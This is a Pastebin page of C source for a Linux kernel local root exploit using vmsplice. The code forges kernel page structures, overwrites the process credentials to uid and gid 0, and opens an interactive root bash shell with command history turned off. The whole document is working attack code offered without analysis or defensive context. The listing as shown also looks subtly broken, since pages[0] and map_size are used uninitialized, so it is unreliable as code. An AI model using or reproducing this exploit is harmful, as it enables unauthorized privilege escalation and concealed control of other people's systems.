Advertisement
toooddd

;v

Dec 27th, 2013
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.76 KB | None | 0 0
  1. #define _GNU_SOURCE
  2. #include <stdio.h>
  3. #include <errno.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <malloc.h>
  7. #include <limits.h>
  8. #include <signal.h>
  9. #include <unistd.h>
  10. #include <sys/uio.h>
  11. #include <sys/mman.h>
  12. #include <asm/page.h>
  13. #define __KERNEL__
  14. #include <asm/unistd.h>
  15.  
  16. #define PIPE_BUFFERS 16
  17. #define PG_compound 14
  18. #define uint unsigned int
  19. #define static_inline static inline __attribute__((always_inline))
  20. #define STACK(x) (x + sizeof(x) - 40)
  21.  
  22. struct page {
  23. unsigned long flags;
  24. int count;
  25. int mapcount;
  26. unsigned long private;
  27. void *mapping;
  28. unsigned long index;
  29. struct { long next, prev; } lru;
  30. };
  31.  
  32. void exit_code();
  33. char exit_stack[1024 * 1024];
  34.  
  35. void die(char *msg, int err)
  36. {
  37. printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  38. fflush(stdout);
  39. fflush(stderr);
  40. exit(1);
  41. }
  42.  
  43. #if defined (__i386__)
  44.  
  45. #ifndef __NR_vmsplice
  46. #define __NR_vmsplice 316
  47. #endif
  48.  
  49. #define USER_CS 0x73
  50. #define USER_SS 0x7b
  51. #define USER_FL 0x246
  52.  
  53. static_inline
  54. void exit_kernel()
  55. {
  56. __asm__ __volatile__ (
  57. "movl %0, 0x10(%%esp) ;"
  58. "movl %1, 0x0c(%%esp) ;"
  59. "movl %2, 0x08(%%esp) ;"
  60. "movl %3, 0x04(%%esp) ;"
  61. "movl %4, 0x00(%%esp) ;"
  62. "iret"
  63. : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  64. "i" (USER_CS), "r" (exit_code)
  65. );
  66. }
  67.  
  68. static_inline
  69. void * get_current()
  70. {
  71. unsigned long curr;
  72. __asm__ __volatile__ (
  73. "movl %%esp, %%eax ;"
  74. "andl %1, %%eax ;"
  75. "movl (%%eax), %0"
  76. : "=r" (curr)
  77. : "i" (~8191)
  78. );
  79. return (void *) curr;
  80. }
  81.  
  82. #elif defined (__x86_64__)
  83.  
  84. #ifndef __NR_vmsplice
  85. #define __NR_vmsplice 278
  86. #endif
  87.  
  88. #define USER_CS 0x23
  89. #define USER_SS 0x2b
  90. #define USER_FL 0x246
  91.  
  92. static_inline
  93. void exit_kernel()
  94. {
  95. __asm__ __volatile__ (
  96. "swapgs ;"
  97. "movq %0, 0x20(%%rsp) ;"
  98. "movq %1, 0x18(%%rsp) ;"
  99. "movq %2, 0x10(%%rsp) ;"
  100. "movq %3, 0x08(%%rsp) ;"
  101. "movq %4, 0x00(%%rsp) ;"
  102. "iretq"
  103. : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  104. "i" (USER_CS), "r" (exit_code)
  105. );
  106. }
  107.  
  108. static_inline
  109. void * get_current()
  110. {
  111. unsigned long curr;
  112. __asm__ __volatile__ (
  113. "movq %%gs:(0), %0"
  114. : "=r" (curr)
  115. );
  116. return (void *) curr;
  117. }
  118.  
  119. #else
  120. #error "unsupported arch"
  121. #endif
  122.  
  123. #if defined (_syscall4)
  124. #define __NR__vmsplice __NR_vmsplice
  125. _syscall4(
  126. long, _vmsplice,
  127. int, fd,
  128. struct iovec *, iov,
  129. unsigned long, nr_segs,
  130. unsigned int, flags)
  131.  
  132. #else
  133. #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
  134. #endif
  135.  
  136. static uint uid, gid;
  137.  
  138. void kernel_code()
  139. {
  140. int i;
  141. uint *p = get_current();
  142.  
  143. for (i = 0; i < 1024-13; i++) {
  144. if (p[0] == uid && p[1] == uid &&
  145. p[2] == uid && p[3] == uid &&
  146. p[4] == gid && p[5] == gid &&
  147. p[6] == gid && p[7] == gid) {
  148. p[0] = p[1] = p[2] = p[3] = 0;
  149. p[4] = p[5] = p[6] = p[7] = 0;
  150. p = (uint *) ((char *)(p + 8) + sizeof(void *));
  151. p[0] = p[1] = p[2] = ~0;
  152. break;
  153. }
  154. p++;
  155. }
  156.  
  157. exit_kernel();
  158. }
  159.  
  160. void exit_code()
  161. {
  162. if (getuid() != 0)
  163. die("wtf", 0);
  164.  
  165. printf("[+] root\n");
  166. putenv("HISTFILE=/dev/null");
  167. execl("/bin/bash", "bash", "-i", NULL);
  168. die("/bin/bash", errno);
  169. }
  170.  
  171. int main(int argc, char *argv[])
  172. {
  173. int pi[2];
  174. size_t map_size;
  175. char * map_addr;
  176. struct iovec iov;
  177. struct page * pages[5];
  178.  
  179. uid = getuid();
  180. gid = getgid();
  181. setresuid(uid, uid, uid);
  182. setresgid(gid, gid, gid);
  183.  
  184. if (!uid || !gid)
  185. die("!@#$", 0);
  186.  
  187. /*****/
  188. pages[1] = pages[0] + 1;
  189.  
  190. map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
  191. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  192. if (map_addr == MAP_FAILED)
  193. die("mmap", errno);
  194.  
  195. memset(map_addr, 0, map_size);
  196. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  197. printf("[+] page: 0x%lx\n", pages[0]);
  198. printf("[+] page: 0x%lx\n", pages[1]);
  199.  
  200. pages[0]->flags = 1 << PG_compound;
  201. pages[0]->private = (unsigned long) pages[0];
  202. pages[0]->count = 1;
  203. pages[1]->lru.next = (long) kernel_code;
  204.  
  205. /*****/
  206. pages[2] = *(void **) pages[0];
  207. pages[3] = pages[2] + 1;
  208.  
  209. map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
  210. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  211. if (map_addr == MAP_FAILED)
  212. die("mmap", errno);
  213.  
  214. memset(map_addr, 0, map_size);
  215. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  216. printf("[+] page: 0x%lx\n", pages[2]);
  217. printf("[+] page: 0x%lx\n", pages[3]);
  218.  
  219. pages[2]->flags = 1 << PG_compound;
  220. pages[2]->private = (unsigned long) pages[2];
  221. pages[2]->count = 1;
  222. pages[3]->lru.next = (long) kernel_code;
  223.  
  224. /*****/
  225. map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
  226. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  227. if (map_addr == MAP_FAILED)
  228. die("mmap", errno);
  229. memset(map_addr, 0, map_size);
  230. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  231. printf("[+] page: 0x%lx\n", pages[4]);
  232.  
  233. /*****/
  234. map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
  235. MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  236. if (map_addr == MAP_FAILED)
  237. die("mmap", errno);
  238.  
  239. memset(map_addr, 0, map_size);
  240. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  241.  
  242. /*****/
  243. if (pipe(pi) < 0) die("pipe", errno);
  244. close(pi[0]);
  245.  
  246. iov.iov_base = map_addr;
  247. iov.iov_len = ULONG_MAX;
  248.  
  249. signal(SIGPIPE, exit_code);
  250. _vmsplice(pi[1], &iov, 1, 0);
  251. die("vmsplice", errno);
  252. return 0;
  253. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement